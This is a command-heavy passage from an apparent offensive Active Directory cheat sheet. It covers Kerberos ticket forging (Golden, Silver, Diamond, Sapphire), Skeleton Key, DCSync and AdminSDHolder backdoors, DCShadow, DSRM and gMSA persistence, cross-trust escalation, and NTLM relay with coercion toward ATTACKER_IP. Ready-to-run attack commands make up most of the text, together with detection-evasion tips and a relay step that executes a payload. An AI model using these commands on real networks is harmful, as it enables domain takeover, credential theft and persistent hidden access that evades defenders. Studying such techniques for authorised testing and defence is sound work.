kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /id:500 /groups:512,513,518,519,520 /ptt

# Rubeus
.\Rubeus.exe golden /rc4:<krbtgt_hash> /user:Administrator \
  /domain:domain.local /sid:S-1-5-21-... /ptt

Detection evasion: Use a real username and realistic group SIDs. Set the ticket lifetime to match domain policy (default 10 hours).

#Silver Ticket

Forge a TGS for specific services. More targeted than Golden Ticket - no KDC interaction means less logging.

# Common targets and their SPNs:
# CIFS (file access):     cifs/server.domain.local
# HTTP (WinRM/PowerShell): http/server.domain.local
# LDAP (DCSync via Silver): ldap/dc01.domain.local
# MSSQL:                  MSSQLSvc/server.domain.local:1433
# HOST (PsExec/schtasks):  host/server.domain.local

# Forge CIFS Silver Ticket
ticketer.py -nthash <machine_hash> -domain-sid S-1-5-21-... \
  -domain domain.local -spn cifs/server.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass server.domain.local

# Silver Ticket for DCSync (LDAP on DC)
ticketer.py -nthash <dc_machine_hash> -domain-sid S-1-5-21-... \
  -domain domain.local -spn ldap/dc01.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass dc01.domain.local -just-dc

#Skeleton Key

Patch LSASS on a Domain Controller to accept a master password ("mimikatz") for any account while the real passwords still work. Does not survive DC reboot.

# Inject skeleton key on DC (requires DA)
# Default master password: "mimikatz"
privilege::debug
misc::skeleton

# Now authenticate as any user with password "mimikatz"
# Real passwords still work too
net use \\dc01\C$ /user:domain\Administrator mimikatz
# Remote skeleton key injection via Mimikatz
# Requires running on the DC itself (RDP/PsExec as DA)
psexec.py domain.local/admin:pass@dc01 "mimikatz.exe privilege::debug misc::skeleton exit"

Limitation: Must be re-applied after every DC reboot. Only persists in memory.

#DCSync Backdoor

Grant DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All) to a user you control. This lets that user run DCSync at any time.

# PowerView - add DCSync rights to a controlled user
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity backdoor_user \
  -Rights DCSync

# Verify
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | \
  Where-Object {$_.SecurityIdentifier -match "<backdoor_user_SID>"}
# Impacket - add DCSync rights
dacledit.py -action write -rights DCSync \
  -principal backdoor_user -target-dn "DC=domain,DC=local" \
  domain.local/admin:pass -dc-ip dc01

# Now DCSync from the backdoor account anytime
secretsdump.py domain.local/backdoor_user:pass@dc01 -just-dc

#AdminSDHolder

AdminSDHolder is an AD object whose ACL is copied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by the SDProp / ProtectAdminGroups background task. Modify AdminSDHolder ACL once, and your changes propagate automatically. This corresponds to the BloodHound ProtectAdminGroups edge.

SDProp cycle tuning: the task runs every 60 minutes by default, configurable from 1 to 120 minutes via HKLM\System\CurrentControlSet\Services\NTDS\Parameters\AdminSDProtectFrequency (DWORD, seconds). The behaviour can also be altered via the 16th character of dSHeuristics on CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=... (dwAdminSDExMask).

Detection / OPSEC: every SDProp re-application generates Event ID 4780 ("The ACL was set on accounts which are members of administrator groups") on the PDC emulator. Blue teams monitor: any new ACE added to AdminSDHolder, any non-default principal appearing in 4780, and the adminCount=1 flag on user objects (objects that used to be in a protected group keep adminCount=1 forever unless explicitly cleaned). For Tier 0 forests the recommendation is to LOCK the AdminSDHolder ACL to an explicit allowlist and alert on any modification.

# Add full control for a backdoor user to AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" \
  -PrincipalIdentity backdoor_user \
  -Rights All

# After 60 minutes (or trigger SDProp manually), backdoor_user
# will have full control over Domain Admins, Enterprise Admins, etc.

# Force SDProp to run immediately (on DC)
Invoke-SDPropagator -ShowProgress
# Or via ldp.exe: modify rootDSE, set fixupInheritance=1
# Impacket
dacledit.py -action write -rights FullControl \
  -principal backdoor_user \
  -target-dn "CN=AdminSDHolder,CN=System,DC=domain,DC=local" \
  domain.local/admin:pass -dc-ip dc01

#ADCS Persistence

Request a certificate with a long validity period. Certificates survive password resets - even if the user's password is changed, the certificate remains valid for authentication.

# Find vulnerable templates (ESC1 - client auth + enrollee supplies subject)
certipy find -u [email protected] -p 'pass' -dc-ip dc01 -vulnerable

# Request a certificate (valid for years)
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca CORP-CA -template User -upn [email protected]

# Authenticate with certificate (even after password change)
certipy auth -pfx administrator.pfx -dc-ip dc01

# Extract NT hash from the PKINIT response
# certipy auth outputs the NT hash automatically

# For long-term persistence: request a cert as a machine account
# Machine account passwords rotate every 30 days, but the cert stays valid
certipy req -u DC01$@domain.local -hashes :MACHINE_HASH -dc-ip dc01 \
  -ca CORP-CA -template Machine

#Custom SSP (memssp)

Mimikatz misc::memssp injects a custom Security Support Provider into LSASS that logs every plaintext credential supplied to interactive or network logons on the host. Output lands in C:\Windows\System32\mimilsa.log. Very stealthy short-term harvesting; does not survive reboot.

# On the DC or any host where you want to harvest
privilege::debug
misc::memssp
# Every subsequent logon (RDP, runas, psexec, etc.) is logged plaintext:
# [00000000:00000001] domain\user <password>
type C:\Windows\System32\mimilsa.log

# For persistence across reboot, drop a real SSP DLL and add it to
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages (noisier)

#Diamond Ticket

Diamond Ticket avoids Golden Ticket detections that watch for AS-REQ anomalies. Instead of forging a TGT from scratch, request a real TGT via AS-REQ, decrypt it with the krbtgt key, edit the PAC (add privileged SIDs / change user), and re-encrypt. Event logs show a legitimate AS-REQ from the attacker account.

Requirements: krbtgt NT hash (or AES key) + domain SID + any valid user creds.

# Rubeus (Windows)
.\Rubeus.exe diamond /tgtdeleg \
  /ticketuser:Administrator /ticketuserid:500 \
  /groups:512,513,518,519,520 \
  /krbkey:<krbtgt_aes256_or_rc4> /ptt

# From an AS-REQ with a real password
.\Rubeus.exe diamond /user:lowpriv /password:'pass' \
  /enctype:aes256 /krbkey:<krbtgt_aes256> \
  /ticketuser:Administrator /ticketuserid:500 \
  /groups:512,513,519 /ptt

# Impacket equivalent (ticketer -request reuses a real AS-REP PAC)
ticketer.py -request -domain domain.local \
  -user lowpriv -password 'pass' \
  -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
  Administrator

#Sapphire Ticket

Sapphire Ticket pushes the Diamond idea further: obtain a real PAC via S4U2Self (so the PAC contains a genuine, DC-signed structure for the target user), then re-encrypt with the krbtgt key. Evades PAC-validation detections because the PAC came straight from the KDC.

# Rubeus sapphire
.\Rubeus.exe sapphire /user:lowpriv /password:'pass' \
  /tgs /enctype:aes256 /krbkey:<krbtgt_aes256> \
  /impersonateuser:Administrator /ptt

# Impacket S4U2Self chain equivalent
getST.py -self -impersonate Administrator \
  -spn cifs/dc01.domain.local \
  domain.local/lowpriv:'pass' -dc-ip dc01
# Then re-sign the PAC with krbtgt via ticketer.py -request

#DCShadow

DCShadow registers a rogue DC via ntdsapi!DsAddEntriesW and DrsReplicaAdd, pushes attribute changes directly into replication, and unregisters. The real DCs accept the changes because they arrive over legitimate replication RPC. No DirectoryService event logs on the real DC - no LDAP modify ever happens.

Requirements: DA (or Domain Controllers / Enterprise Admins / equivalent SPN + replication rights + SeDebug on the rogue host).

# Mimikatz requires TWO processes: listener (SYSTEM) + pusher (DA)
# --- Process 1 (SYSTEM) - listener ---
# Elevate to SYSTEM first (psexec -s or token::elevate)
mimikatz# !+
mimikatz# !processtoken
mimikatz# lsadump::dcshadow /object:CN=targetuser,CN=Users,DC=domain,DC=local \
  /attribute:primaryGroupID /value:512
# Listens on the rogue DC waiting for /push

# --- Process 2 (DA) - pusher ---
mimikatz# lsadump::dcshadow /push

# Classic payloads
/attribute:primaryGroupID /value:512                     # Add to Domain Admins
/attribute:sidHistory /value:S-1-5-21-...-519            # Inject EA SID history
/attribute:servicePrincipalName /value:cifs/anything     # Targeted kerberoast setup

#DSRM (Directory Services Restore Mode)

Every DC has a local Administrator account in DSRM mode. Its NT hash sits in the DC's local SAM and is dumpable with lsadump::sam. By default DSRM cannot log on over the network, but setting DsrmAdminLogonBehavior=2 allows network logon with the DSRM hash, giving a hidden local admin on the DC that survives krbtgt rotation.

Requirements: DA or SYSTEM on a DC once.

# 1. Dump the DSRM hash from the DC local SAM
mimikatz# token::elevate
mimikatz# lsadump::sam
# Note the NT hash for RID 500 (local DSRM Administrator)

# 2. Enable network logon with the DSRM account
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" \
  -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
# 0 = disabled (default), 1 = only in DSRM mode, 2 = always

# 3. Pass-the-Hash with DSRM against the DC (note: .\Administrator - local)
sekurlsa::pth /user:Administrator /domain:DC01 /ntlm:<DSRM_NT> /run:cmd.exe
# From Linux
psexec.py -hashes :<DSRM_NT> Administrator@dc01

#Golden gMSA

gMSA passwords are derived from a KDS root key (stored on DCs) plus the account SID and a rolling epoch. Dump the KDS root key once as DA, and you can compute any gMSA password forever - even across password rotation.

Requirements: DA / SYSTEM on a DC once. Read on CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=...

# 1. Grab the KDS root key (DA required once)
Get-ADObject -Filter {objectClass -eq 'msKds-ProvRootKey'} -SearchBase \
  "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=domain,DC=local" \
  -Properties *

# 2. Compute gMSA passwords offline (GoldenGMSA)
GoldenGMSA.py gmsainfo -t target_gmsa
GoldenGMSA.py kdsinfo --kdskey <rootKeyGuid>
GoldenGMSA.py compute \
  --kdskey <kds_raw_key> \
  --sid <gmsa_sid> \
  --kdsguid <rootKeyGuid>
# Output: base64 gMSA password (convert to NT hash for PtH)

# 3. Use it
nxc smb target -u 'gmsa_acct$' -H <computed_NT>

# Alternative: gMSADumper (when you already have read rights
# via PrincipalsAllowedToRetrieveManagedPassword)
python3 gMSADumper.py -u user -p pass -d domain.local -l dc01

#Trust Attacks

#Parent-Child Trust

In a parent-child domain trust (same forest), there is implicit two-way trust. A DA in a child domain can escalate to EA in the parent using SID History injection.

# 1. Get child domain krbtgt hash + SIDs
secretsdump.py child.domain.local/admin:pass@child-dc -just-dc-user krbtgt
lookupsid.py child.domain.local/admin:pass@child-dc     # Child domain SID
lookupsid.py child.domain.local/admin:pass@parent-dc 519 # EA group SID in parent

# 2. Forge Golden Ticket with extra SID (Enterprise Admins of parent)
ticketer.py -nthash <child_krbtgt_hash> \
  -domain-sid S-1-5-21-<child_sid> \
  -domain child.domain.local \
  -extra-sid S-1-5-21-<parent_sid>-519 \
  Administrator

# 3. Access parent domain
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass parent-dc.domain.local -just-dc

# Mimikatz
kerberos::golden /user:Administrator /domain:child.domain.local \
  /sid:S-1-5-21-<child> /krbtgt:<child_krbtgt_hash> \
  /sids:S-1-5-21-<parent>-519 /ptt

Key insight: SID filtering is NOT enforced within the same forest. The parent domain trusts any SID from child domains, including Enterprise Admin SIDs.

#Forest Trust

Cross-forest trusts are harder to exploit because SID filtering blocks SIDs from the foreign forest. However, bidirectional forest trusts still offer attack paths.

# Enumerate forest trusts
Get-DomainTrust -Domain domain.local
Get-ForestDomain -Forest external.local

# If bidirectional trust exists:
# 1. Check for users/groups from the other forest with access
Get-DomainForeignGroupMember -Domain domain.local
Get-DomainForeignUser -Domain domain.local

# 2. Kerberoast across trust (if inter-realm TGT available)
GetUserSPNs.py -target-domain external.local \
  domain.local/user:pass -dc-ip dc01

# 3. Shared resources - check for cross-forest admin access
Find-DomainLocalGroupMember -Domain external.local

# SID History across forest (only works if SID filtering is disabled)
# Check: netdom trust domain.local /d:external.local /quarantine
# If quarantine=No, SID filtering is disabled -> SID History attack works

Limitations: SID filtering blocks RID < 1000 across forest trusts by default. This means you cannot inject Domain Admin (RID 512) or Enterprise Admin (RID 519) SIDs across forests unless SID filtering is explicitly disabled.

#SpoofSIDHistory - Viable Cross-Forest Targets

BloodHound exposes two trust properties that govern whether SID history injection is blocked: SpoofSIDHistoryBlocked (modern trust flag TREAT_AS_EXTERNAL/QUARANTINED_DOMAIN) and SIDFilteringForestAware. When SpoofSIDHistoryBlocked=false, the forged ExtraSids in an inter-realm TGT are honored by the foreign DC.

Even with SID filtering in Enforcement mode, RID >= 1000 is NOT filtered. Viable targets for cross-forest -extra-sid / /sids forging:

Target Why it works Privilege you gain
Exchange Windows Permissions (custom RID) Has WriteDacl on Domain via Exchange setup, RID >= 1000 DCSync in target forest
Exchange Trusted Subsystem Same class of Exchange-installed group Often Domain Admin equivalent
MSOL_ (Entra Connect) Service account created by AAD Connect with DCSync Direct DCSync
Custom admin groups (RID >= 1000) Any locally-created admin/helpdesk group Depends on granted rights
Domain Controllers machine account (RID = 1000 + n) Lets you S4U/PKINIT as a DC DCSync
# Check trust SID filtering posture
netdom trust target.local /domain:source.local /quarantine
Get-ADTrust -Filter * | Select Name,SIDFilteringForestAware,SIDFilteringQuarantined,TrustAttributes

# Enumerate RID-1000+ groups with dangerous ACLs on the Domain object
Get-DomainObjectAcl -SearchBase 'DC=target,DC=local' -ResolveGUIDs | \
  ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|GetChanges' -and $_.SecurityIdentifier -notmatch '-5(12|18|19|20)$' }

# Forge with a custom RID-1000+ SID (example: Exchange Windows Permissions)
ticketer.py -nthash <child_krbtgt> -domain-sid S-1-5-21-<child> \
  -domain child.local \
  -extra-sid S-1-5-21-<target>-<EWP_RID> \
  Administrator

#AbuseTGTDelegation - Protected Users Caveat

The BloodHound AbuseTGTDelegation edge models the cross-trust variant of the unconstrained delegation coerce chain (Cross-Forest Unconstrained Delegation Chain). The DC/victim must forward its TGT to the unconstrained host. This is blocked when:

  • The victim account is a member of the Protected Users group (introduced Server 2012 R2) - no TGT delegation, no NTLM, no unconstrained delegation caching.
  • The victim has the "Account is sensitive and cannot be delegated" flag (userAccountControl bit NOT_DELEGATED = 0x100000).
  • Outbound NTLM is restricted via "Network security: Restrict NTLM" policy.
# Check if a DC / victim is in Protected Users or has NOT_DELEGATED
Get-ADUser 'DC01$' -Properties memberOf,userAccountControl
Get-ADGroupMember 'Protected Users'

#raiseChild.py (Automated Child -> Parent EA)

Impacket raiseChild.py fully automates the child-to-parent forest escalation: dumps the child krbtgt, looks up parent and child SIDs, forges an extra-SID Golden Ticket for Enterprise Admins, and DCSyncs the parent.

# One-liner - needs any DA of the child domain
raiseChild.py -target-exec parent-dc.domain.local \
  child.domain.local/childadmin:'pass'

# With hash
raiseChild.py child.domain.local/childadmin \
  -hashes :NTHASH -target-exec parent-dc.domain.local

#Trust Key Extraction & Inter-Realm TGS Forging

When a trust is established, each domain stores the other's TDO (Trusted Domain Object) which holds the shared "trust key" used to encrypt inter-realm referral TGTs. Dumping the trust key lets you forge inter-realm TGTs and request TGS for services in the foreign domain.

# Mimikatz - dump the trust key (DA on this side)
privilege::debug
lsadump::trust /patch
# Output: each TDO with In/Out keys, RC4 + AES256

# Same via secretsdump / DCSync
secretsdump.py domain.local/admin:pass@dc01 -just-dc-ntlm | grep -i trust

HasTrustKeys - authenticate AS the trust account. Once you have the In (inbound) trust key, you can request a TGT directly as the trust account (<FOREIGN_DOMAIN>$). Trust accounts can ONLY authenticate via Kerberos - NTLM is disabled, interactive / network logon is disabled - but the TGT is enough to S4U/DCSync the foreign side.

# Windows - Rubeus
Rubeus.exe asktgt /user:PARENT$ /aes256:<trust_aes256> /domain:parent.local /dc:dc.parent.local /ptt
# /rc4: works too when trust key is RC4
# Linux - Impacket getTGT
getTGT.py -aesKey <trust_aes256> 'parent.local/CHILD$'
# or with the RC4 / NT hash form
getTGT.py -hashes :<trust_rc4> 'parent.local/CHILD$'
export KRB5CCNAME=CHILD\$.ccache

# With the trust account TGT you can S4U to impersonate a DA in the foreign domain
getST.py -k -no-pass -impersonate Administrator -spn cifs/dc.parent.local parent.local/
# Forge an inter-realm TGT with the trust key, then TGS into the foreign domain
ticketer.py -nthash <trust_rc4_key> \
  -domain-sid S-1-5-21-<sourcedomainsid> \
  -domain source.local \
  -spn krbtgt/target.local \
  -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache

# Request a TGS for a service in the target forest using the forged inter-realm TGT
getST.py -k -no-pass \
  -spn cifs/dc.target.local \
  -impersonate Administrator \
  target.local/Administrator
smbclient.py -k -no-pass dc.target.local

#Cross-Forest Unconstrained Delegation Chain

When the only cross-forest path is unconstrained delegation on a trusted host, coerce the foreign DC to authenticate to the unconstrained host, capture its TGT, then DCSync the foreign domain.

# 1. Find unconstrained hosts in the trusted forest
Get-DomainComputer -Unconstrained -Domain target.local

# 2. On the compromised unconstrained host in source.local
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:TARGETDC$

# 3. Coerce target.local DC from source.local
python3 Coercer.py coerce -l compromised-host.source.local \
  -t target-dc.target.local \
  -u source_user -p pass -d source.local

# 4. Rubeus captures TARGETDC$ TGT -> inject -> DCSync target.local
.\Rubeus.exe ptt /ticket:<b64>
secretsdump.py -k -no-pass target-dc.target.local -just-dc

#ADCS Abuse Across Trust

If the target forest's NTAuthCertificates container trusts a CA from the source forest (common in merged M&A environments), a cert issued in source.local can be used for PKINIT in target.local.

# Enumerate cross-forest trusted CAs
certipy find -u [email protected] -p pass -dc-ip source-dc -stdout | grep -i NTAuth
# Or check CN=NTAuthCertificates,CN=Public Key Services,CN=Services,
# CN=Configuration,DC=target,DC=local via LDAP

# Request a cert in source.local for a target.local UPN
certipy req -u [email protected] -p 'pass' -dc-ip source-dc \
  -ca SOURCE-CA -template User \
  -upn '[email protected]'

# Authenticate to target.local
certipy auth -pfx administrator.pfx -dc-ip target-dc -domain target.local

#External Trust Password Reuse Pivot

External trusts (non-transitive, non-forest) often predate current password policies. Admin passwords in the trusting domain are frequently reused from the trusted side. After compromising A, spray every A credential against B - the hit rate is higher than expected.

nxc smb target-dc.target.local -u creds_source.txt -p passwords_source.txt \
  --continue-on-success
nxc winrm target-hosts.txt -u creds_source.txt -p passwords_source.txt

#MSSQL Trust Hopping Cross-Forest

Linked server chains often cross forest trusts when configured with cached credentials instead of Windows auth. The PowerUpSQL crawler follows links across trusts transparently.

Get-SQLServerLinkCrawl -Instance sql01.source.local -Verbose
# Output may show: sql01.source.local -> sql02.target.local (cached creds)

Get-SQLServerLinkCrawl -Instance sql01.source.local \
  -Query "EXEC master..xp_cmdshell 'whoami /all'"
# xp_cmdshell fires on target.local SQL as its service account

#BloodHound Cypher - Foreign Principals

// Foreign users/groups with access to objects in this domain
MATCH (n)-[r]->(m) WHERE n.domain <> m.domain
  AND (m.domain = 'TARGET.LOCAL')
RETURN n.name, type(r), m.name

// Users in domain A that are members of a group in domain B
MATCH (u:User {domain:'SOURCE.LOCAL'})-[:MemberOf*1..]->(g:Group)
  WHERE g.domain <> u.domain
RETURN u.name, g.name, g.domain

// Shortest cross-domain attack path to Target's DA
MATCH p=shortestPath(
  (u:User {domain:'SOURCE.LOCAL'})-[*1..]->(g:Group {name:'DOMAIN ADMINS@TARGET.LOCAL'})
) RETURN p

#NTLM Relay & Coercion

#Prerequisites

Before relaying, identify targets that do not enforce SMB signing and check LDAP signing/channel binding on DCs.

# Find hosts without SMB signing (relay targets)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

# Check LDAP signing and channel binding on DCs (LdapEnforceChannelBinding)
nxc ldap 192.168.1.0/24 -u user -p pass -M ldap-checker
LdapRelayScan.py -dc-ip dc01 -u user -p pass            # Standalone scanner

# Check MachineAccountQuota (needed for RBCD via relay)
nxc ldap dc01 -u user -p pass -M maq

# Check Print Spooler (PrinterBug coercion)
nxc smb 192.168.1.0/24 -u user -p pass -M spooler

# Check WebDAV / WebClient service (HTTP coercion)
nxc smb 192.168.1.0/24 -u user -p pass -M webdav

# Check NTLM authentication is still allowed (Windows 11 24H2+ disables NTLM by default for some channels)
nxc smb dc01 -u user -p pass -M ntlm-info

Modern hardening to bypass / fingerprint:

  • SMB signing required -> relay over HTTP/LDAPS or use Kerberos relay (Krbrelay/krbrelayx).
  • LDAP signing required -> relay over LDAPS (TLS provides integrity).
  • LdapEnforceChannelBinding = 2 -> blocks relay over LDAPS too. Bypass with NTLMv1 downgrade or Kerberos relay.
  • EPA on HTTP endpoints -> blocks ESC8 on patched CAs. Use ESC11 (RPC, no EPA) instead.
  • NTLM disabled (Windows 11 24H2 / Server 2025) -> Kerberos relay only.

#Coercion Methods

Force a target machine to authenticate to your listener. Combine with ntlmrelayx or Responder.

Two distinct families (per Elad Shamir, SpecterOps NTLM Renaissance whitepaper, April 2025):

  1. Computer account coercion - RPC calls to functions that access an attacker-supplied path. The remote service runs as SYSTEM/NETWORK SERVICE -> auth as MACHINE$. Authenticated Users can trigger almost all of these. Deterministic.
  2. User account coercion - Plant a file/document/email referencing an attacker UNC path. When Windows Shell renders the icon/preview, it auths as the user without any click. Opportunistic but very stealthy.
Method Protocol Type Command Requirements
PetitPotam (unauth) MS-EFSRPC Computer python3 PetitPotam.py ATTACKER_IP DC_IP CVE-2022-26925 (unpatched)
PetitPotam (auth) MS-EFSRPC Computer python3 PetitPotam.py -u user -p pass -d domain ATTACKER_IP DC_IP Any domain user
PrinterBug / SpoolSample MS-RPRN Computer python3 SpoolSample.py DC_IP ATTACKER_IP Print Spooler service running
DFSCoerce MS-DFSNM Computer python3 dfscoerce.py -u user -p pass ATTACKER_IP DC_IP DFS role installed
ShadowCoerce MS-FSRVP Computer python3 shadowcoerce.py -u user -p pass ATTACKER_IP DC_IP File Server VSS Agent
Coercer (all-in-one) Multiple Computer coercer coerce -l ATTACKER_IP -t DC_IP -d domain -u user -p pass Tries all methods
nxc coerce_plus Multiple Computer nxc smb dc01 -u user -p pass -M coerce_plus -o LISTENER=ATTACKER_IP Tries all methods
.lnk shell shortcut Shell handler User Drop in a share User browses parent folder (no click)
.url Internet shortcut Shell handler User Drop in a share Same
.scf Shell command Shell handler User Drop in a share Pre-2018 Windows
.searchConnector-ms Search Connector User Drop in a share / nxc -M drop-sc Triggers Web Client start
.library-ms Windows Library User Drop in a share Windows 7+ - same Shell handler chain

Computer-coercion vs User-coercion is critical for relay path selection:

  • Computer coercion -> always auths as MACHINE$. Cannot start the Web Client service. Auth ALWAYS negotiates SMB signing -> SMB->LDAP relay impossible (unless NTLMv1).
  • User coercion -> auths as the logged-on user. Will start the Web Client service as a side effect of the Shell handler. Goes over HTTP (WebDAV) which does NOT negotiate signing -> direct relay to LDAPS for RBCD/Shadow Creds.

Stealth pattern (Shamir's recommendation): instead of moving laterally to a host where an interesting user is logged on (which trips EDR via LSASS/credential abuse), drop a .lnk/.url on their Desktop via the C$ admin share. The moment the file lands, explorer.exe (running in the user's MSV1_0 context) processes the Shell handler and authenticates outbound. Works even if the workstation is locked, the RDP session is disconnected, or the file is hidden. Bypasses LSASS dumping entirely.

# Stealth coerce - drop .url on logged-on user's desktop via C$
cat > evil.url <<'URL'
[InternetShortcut]
URL=attacker
WorkingDirectory=attacker
IconFile=\\ATTACKER_IP\share\icon.ico
IconIndex=1
URL
smbclient.py 'DOMAIN/admin:[email protected]' -e 'put evil.url C$\\Users\\victim\\Desktop\\evil.url'
# Or via nxc
nxc smb target -u admin -p pass -X "Copy-Item evil.url C:\\Users\\victim\\Desktop\\"

WebDAV coercion chain - when WebClient is running, the machine authenticates over HTTP (port 80) instead of SMB (port 445). This allows relay to LDAP (no signing over HTTP) and is key for RBCD attacks from a non-privileged position:

# 1. Check WebClient service
nxc smb target -u user -p pass -M webdav

# 2. Add a DNS record pointing to attacker (requires any domain user)
python3 dnstool.py -u domain\\user -p pass -a add \
  -r attacker.domain.local -d ATTACKER_IP dc01

# 3. Start relay (RBCD via LDAP)
ntlmrelayx.py -t ldap://dc01 --delegate-access -smb2support

# 4. Coerce via WebDAV (HTTP-based, sends machine account over HTTP)
python3 PetitPotam.py -u user -p pass -d domain \
  attacker@80/a target

# 5. ntlmrelayx creates machine + sets RBCD -> S4U chain
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/YOURPC$:'password' -dc-ip dc01

#NTLM Relay Targets

Start ntlmrelayx, then trigger coercion. Disable HTTP and SMB servers in Responder.conf when relaying.

# --- Relay to SMB (dump SAM / get SOCKS shell) ---
ntlmrelayx.py -tf relay_targets.txt -smb2support
ntlmrelayx.py -tf relay_targets.txt -smb2support -socks   # SOCKS proxy
ntlmrelayx.py -tf relay_targets.txt -smb2support -e rev.exe  # Execute payload

# --- Relay to LDAP (escalate to DA / set RBCD / shadow creds) ---
# Add DCSync rights to a user you control
ntlmrelayx.py -t ldaps://dc01 --escalate-user owned_user -smb2support
# Create machine account + set RBCD on relayed machine
ntlmrelayx.py -t ldaps://dc01 --delegate-access -smb2support
# Inject shadow credentials on relayed machine
ntlmrelayx.py -t ldaps://dc01 --shadow-credentials --shadow-target 'DC01$' -smb2support
# Add a new computer account
ntlmrelayx.py -t ldaps://dc01 --add-computer EVIL$ -smb2support
# Interactive LDAP shell
ntlmrelayx.py -t ldaps://dc01 --interactive -smb2support

# --- Relay to ADCS (ESC8 - HTTP enrollment) ---
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp \
  --adcs --template DomainController -smb2support
# Or use certipy relay
certipy relay -ca 'http://ca-server/certsrv/certfnsh.asp' \
  -template 'DomainController'

# --- Relay to ADCS (ESC11 - RPC enrollment) ---
certipy relay -target 'rpc://ca-server' \
  -ca 'domain-CA-NAME' -template 'DomainController'

# --- Relay to MSSQL ---
ntlmrelayx.py -t mssql://sql-server -smb2support -socks

# --- Kerberos Relay (to ADCS) ---
krbrelayx.py -t http://ca-server/certsrv/certfnsh.asp \
  --adcs --template DomainController -v 'DC01$' -ip ATTACKER_IP

#Why SMB->LDAP Relay (almost) Never Works

The biggest source of confusion in NTLM relay. From the SpecterOps NTLM Renaissance whitepaper, the rule is:

Source protocol Negotiates session signing? Can relay to LDAP/LDAPS?
SMB (NTLMv2) YES, always NO - LDAP enforces what NTLM negotiated, signing breaks the relay
SMB (NTLMv1) YES but MIC/flags droppable YES - strip MIC, reset Negotiate Sign flag (NTLMv1 has no NTProofStr protection)
HTTP (WebDAV via Web Client) NO YES - direct relay to LDAP/LDAPS, this is the modern primary path
HTTP (IIS / ADCS) NO but EPA can block YES if EPA disabled (still default on Server <=2022)
Kerberos (Forshaw/Pierini primitives) YES at protocol level NO to LDAP - viable to SMB and ADCS only

Conclusion: if you want to relay to LDAP/LDAPS, you almost always need a WebDAV path (\\attacker@80\path). PetitPotam and PrinterBug both accept this syntax - it tricks the victim into using the Web Client over HTTP instead of native SMB.

#The Web Client Service - The Linchpin of Modern Relay

Per Shamir, the Web Client (WebDAV Redirector) is the single most important component for modern NTLM relay attacks because it is the only built-in client that does NOT negotiate session signing.

Where it runs:

  • Default on Windows desktops (Win10/Win11) - service is installed but in Manual start mode.
  • NOT default on Windows Server - requires the Desktop Experience or explicit WebDAV Redirector feature to be installed first.
  • When started, it opens a named pipe \\.\pipe\DAV RPC SERVICE. Detect remotely without admin via CreateFile.
# Check Web Client status without admin (named pipe probe)
nxc smb target -u user -p pass -M webdav
# Returns "WebClient service running" if DAV RPC SERVICE pipe is open

# Or directly via Python
python3 -c "
import sys
from impacket.smbconnection import SMBConnection
c = SMBConnection('target','target')
c.login('user','pass')
try:
    f = c.openFile(c.connectTree('IPC$'),'DAV RPC SERVICE')
    print('Web Client RUNNING')
except: print('Web Client stopped or not installed')
"

How to start it remotely from a low-priv user (key insight from whitepaper):

  • You cannot start the Web Client via direct service control as low priv.
  • User account coercion DOES start it automatically - dropping a .searchConnector-ms or .library-ms in a share that ANY user browses will trigger the Shell handler, which loads the Web Client service. Once running, the service runs SYSTEM-wide and affects every process / every logged-on user on that host, not just the user that triggered the start.
  • This is exactly why nxc -M drop-sc exists - it drops a .searchConnector-ms to flip the Web Client switch on the target.
  • Watering-hole opportunity: drop coercion files in high-traffic shares early in an op to enable the Web Client on as many hosts as possible for later relay.
# Enable Web Client on a target via .searchConnector-ms drop
nxc smb target -u user -p pass -M drop-sc -o LISTENER=ATTACKER_IP

# Once running, target can now be coerced to auth over HTTP/WebDAV
python3 PetitPotam.py -u user -p pass -d domain \
  attacker@80/x target
# auth flows over HTTP -> ntlmrelayx -> LDAPS -> RBCD / Shadow Creds

#The Intranet Zone Trap (and how to bypass it)

Web Client only authenticates to URLs that Windows considers in the Intranet Zone. By default, that means dotless hostnames (the "PlainHostName" rule), URLs in the manual Intranet Zone, the fixed proxy bypass list, or whatever WPAD returns "DIRECT" for. URLs with dots in them (FQDNs) are Internet Zone -> Web Client refuses to send credentials.

Bypass: bring your own DNS record. Authenticated Users can create DNS records in AD-Integrated DNS via LDAP or DDNS by default (Kevin Robertson research). Two main toolsets:

# --- dnstool.py (Dirk-Jan, Linux) ---
# Add A record pointing fakewpad.domain.local -> ATTACKER_IP
python3 dnstool.py -u 'domain\user' -p pass \
  --action add --record fakewpad --type A --data ATTACKER_IP \
  dc01.domain.local

# --- Powermad (Kevin Robertson, PowerShell on Windows) ---
Import-Module .\Powermad.ps1
New-ADIDNSNode -Node fakewpad -Type A -Data ATTACKER_IP

# --- Sharpmad (Kevin Robertson, .NET on Windows) ---
.\SharpMad.exe DNS-Add fakewpad ATTACKER_IP

# --- DDNS without LDAP (works even if LDAP record creation is blocked) ---
nsupdate -k user.keytab << EOF
update add fakewpad.domain.local 60 A ATTACKER_IP
send
EOF

